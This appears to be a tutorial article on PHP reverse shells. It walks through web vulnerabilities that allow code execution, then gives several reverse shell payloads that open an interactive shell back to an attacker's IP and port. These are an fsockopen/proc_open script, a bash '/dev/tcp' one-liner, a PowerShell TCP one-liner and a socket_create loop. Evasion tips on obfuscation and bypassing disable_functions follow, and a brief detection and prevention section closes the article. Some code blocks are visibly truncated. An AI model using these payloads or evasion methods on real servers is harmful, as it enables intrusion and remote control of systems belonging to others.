PHP Reverse Shell Techniques: An Introduction
PHP reverse shells are a potent technique used by both attackers and penetration testers. They allow for remote command execution on a web server running PHP by establishing a connection from the server to a listening attacker’s machine. This is the crucial “reverse” aspect – the connection is initiated by the target, bypassing many common firewall restrictions that would block an incoming connection. This article provides an introduction to the concepts and common techniques involved.
I. The Core Concept: Client-Server Reversal
Traditional client-server interactions have the client (e.g., a web browser) initiating a connection to the server. In a reverse shell scenario, this relationship is flipped:
-
Attacker Setup: The attacker starts a listener (e.g., using
netcat
orncat
) on a specific port on their machine (the “attacker machine”). This listener waits for an incoming connection. This machine needs to be accessible from the target server (either directly on the internet or through port forwarding). -
Vulnerable Code Execution: The attacker exploits a vulnerability on the target web server to execute PHP code. This vulnerability could be anything that allows arbitrary PHP code execution, including:
- File Inclusion (LFI/RFI): Including a malicious PHP file (either locally or remotely).
- Code Injection: Injecting PHP code into a vulnerable form field, URL parameter, or database query.
- Command Injection: If the PHP application uses functions like
exec()
,system()
,passthru()
,shell_exec()
, or backticks (`
) unsafely, an attacker can inject OS commands, including those to establish a reverse shell. - File Upload Vulnerabilities: Uploading a PHP file disguised as a different file type (e.g.,
.jpg.php
,.php5
). - Deserialization Vulnerabilities: Exploiting insecure deserialization of user-supplied data.
-
Reverse Connection Establishment: The injected PHP code, when executed on the server, initiates a connection back to the attacker’s listening port.
-
Command Execution: Once the connection is established, the attacker can send commands to the server, and the server will execute them and send the output back to the attacker. This effectively gives the attacker a shell (command-line interface) on the server.
II. Common PHP Reverse Shell Techniques
Here are several common ways to create a PHP reverse shell, ranging in complexity and effectiveness:
A. fsockopen()
and proc_open()
(The Classic)
This is one of the most foundational and reliable methods. It uses fsockopen()
to establish a TCP connection and proc_open()
to create a process and redirect its standard input, output, and error streams to the socket.
“`php
$sock, // stdin (input) => socket
1 => $sock, // stdout (output) => socket
2 => $sock // stderr (error) => socket
), $pipes);
// No need to explicitly close the socket or process here;
// PHP’s garbage collection will handle it when the script ends
// (which will be when the connection is closed by the attacker).
?>
“`
fsockopen($ip, $port)
: Creates a socket connection to the specified IP address and port. Returns a file pointer resource on success, orfalse
on failure.proc_open('/bin/sh -i', ...)
: Executes the command/bin/sh -i
(interactive shell on Linux). The second argument is an array defining the descriptors (stdin, stdout, stderr). We redirect all three to our socket.$pipes
is an array that will hold the created pipes (not used directly in this basic example but can be useful for more complex scenarios).
B. shell_exec()
(The Simple, Less Reliable)
This method uses shell_exec()
to execute a command that creates the reverse shell. It’s often shorter, but it’s much less reliable and often blocked by security configurations.
“`php
& /dev/tcp/’.$ip.’/’.$port.’ 0>&1′); // Linux
// Or for Windows:
// shell_exec(‘powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(\”.$ip.’\’,’.$port.’);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \’PS \’ + (pwd).Path + \’> \’;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”‘);
?>
“`
/bin/bash -i >& /dev/tcp/$ip/$port 0>&1
(Linux): This command does the following:/bin/bash -i
: Starts an interactive Bash shell.>& /dev/tcp/$ip/$port
: Redirects both standard output (stdout, file descriptor 1) and standard error (stderr, file descriptor 2) to the network socket/dev/tcp/$ip/$port
./dev/tcp
is a special file in Linux that allows direct TCP connections.0>&1
: Redirects standard input (stdin, file descriptor 0) to standard output (which is already redirected to the socket). This makes the shell interactive.
- PowerShell One-liner (Windows): A much longer command. It creates a TCPClient, reads and writes data to the stream, and executes commands using
iex
(Invoke-Expression). It also includes a prompt for better usability.
C. system()
, passthru()
, exec()
(Similar to shell_exec()
)
These functions are similar to shell_exec()
, but with slight differences in how they handle output:
system()
: Executes a command and displays the output directly.passthru()
: Executes a command and passes the raw output through to the browser. Useful for binary data.exec()
: Executes a command and returns the last line of the output.
You can use any of these with the same command string as in the shell_exec()
example. However, they share the same drawbacks: they are less reliable and often disabled.
D. Using socket_create()
(More Control, More Complex)
This approach uses the socket_*
family of functions, providing more granular control over the socket connection. It’s more complex but can be more robust.
“`php
array(“pipe”, “r”), // stdin
1 => array(“pipe”, “w”), // stdout
2 => array(“pipe”, “w”) // stderr
);
$process = proc_open(‘/bin/sh -i’, $descriptorspec, $pipes);
if (is_resource($process)) {
// Redirect stdin, stdout, and stderr
stream_set_blocking($pipes[0], false);
stream_set_blocking($pipes[1], false);
stream_set_blocking($pipes[2], false);
stream_set_blocking($socket, false);
while (true) {
$read = array($socket, $pipes[1], $pipes[2]);
$write = null;
$except = null;
if (false === ($num_changed_streams = stream_select($read, $write, $except, null))) {
break; // Error occurred
}
if (in_array($socket, $read)) {
// Data from attacker, write to process stdin
$input = socket_read($socket, 1024);
if ($input === false || strlen($input) === 0) {
break; // Connection closed
}
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read)) {
// Output from process, send to attacker
$output = fread($pipes[1], 1024);
if ($output === false || strlen($output) === 0) {
break;
}
socket_write($socket, $output, strlen($output));
}
if (in_array($pipes[2], $read)) {
// Error from process, send to attacker
$error = fread($pipes[2], 1024);
if ($error === false || strlen($error) === 0) {
break;
}
socket_write($socket, $error, strlen($error));
}
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
socket_close($socket);
} else {
die(“proc_open failed”);
}
?>
“`
socket_create()
: Creates a socket.AF_INET
specifies IPv4,SOCK_STREAM
indicates a TCP socket, andSOL_TCP
is the TCP protocol.socket_connect()
: Connects the socket to the specified address and port.proc_open()
: Similar to before, but we use named pipes for better control.stream_set_blocking()
: Sets the streams to non-blocking mode, which is crucial for handling input and output without getting stuck.stream_select()
: Monitors multiple streams (the socket and the process pipes) for activity (read, write, or exception). This allows us to handle data from both the attacker and the process asynchronously.socket_read()
/socket_write()
: Read and write data to the socket.fread()
/fwrite()
: Read and write data to the process pipes.- Error Handling: This example includes error checking with
socket_strerror()
andsocket_last_error()
, making it more robust.
III. Evasion and Obfuscation
Attackers often use techniques to evade detection and bypass security measures:
- Encoding: Encoding the payload (e.g., using base64, URL encoding) to bypass simple string matching.
- Obfuscation: Making the code harder to read and understand. This might involve using variable names that are meaningless, splitting strings, or using functions in unusual ways.
- Function Aliasing: Creating aliases for commonly blocked functions (e.g.,
$x = 'system'; $x('ls');
). - Dynamic Function Calls: Using variable variables or
call_user_func()
to call functions indirectly. - Using Alternative Functions: If certain functions are blocked, attackers might try to achieve the same result using different functions or combinations of functions.
- Bypassing
disable_functions
: PHP’sdisable_functions
directive inphp.ini
can be used to restrict which functions are available. Attackers may try to bypass this restriction using various techniques, such as exploiting vulnerabilities in other extensions or using alternative methods to achieve the same goal. - Web Shells: This document describes reverse shells. A web shell is a different concept. A web shell is a script (often in PHP) that provides a web-based interface for interacting with the server. It doesn’t necessarily use a reverse connection. It’s often used after a reverse shell has been used to gain initial access, providing a more user-friendly interface. A reverse shell can be used to upload and establish a web shell.
IV. Detection and Prevention
- Web Application Firewalls (WAFs): WAFs can detect and block malicious payloads, including reverse shell attempts.
- Intrusion Detection/Prevention Systems (IDS/IPS): These systems can monitor network traffic and detect suspicious activity, such as outgoing connections to known malicious IP addresses.
- Secure Coding Practices:
- Input Validation: Thoroughly validate and sanitize all user input. Never trust data from the client.
- Least Privilege: Run web server processes with the lowest possible privileges.
- Disable Unnecessary Functions: Use the
disable_functions
directive inphp.ini
to disable functions that are not needed. - Regular Updates: Keep PHP and all other software up to date to patch vulnerabilities.
- File Integrity Monitoring (FIM): Monitor critical system files for unauthorized changes.
- Log Analysis: Regularly review web server and system logs for suspicious activity.
- Sandboxing: Run PHP in a sandboxed environment to limit its access to the system.
V. Conclusion
PHP reverse shells are a powerful technique that can be used for both malicious and legitimate purposes (e.g., penetration testing). Understanding how they work is essential for both attackers and defenders. By implementing strong security measures and following secure coding practices, you can significantly reduce the risk of a successful reverse shell attack. The fsockopen
/proc_open
method is generally the most reliable, while the socket_*
functions offer the most control, albeit with increased complexity. Always prioritize secure coding and regular security audits to protect your systems.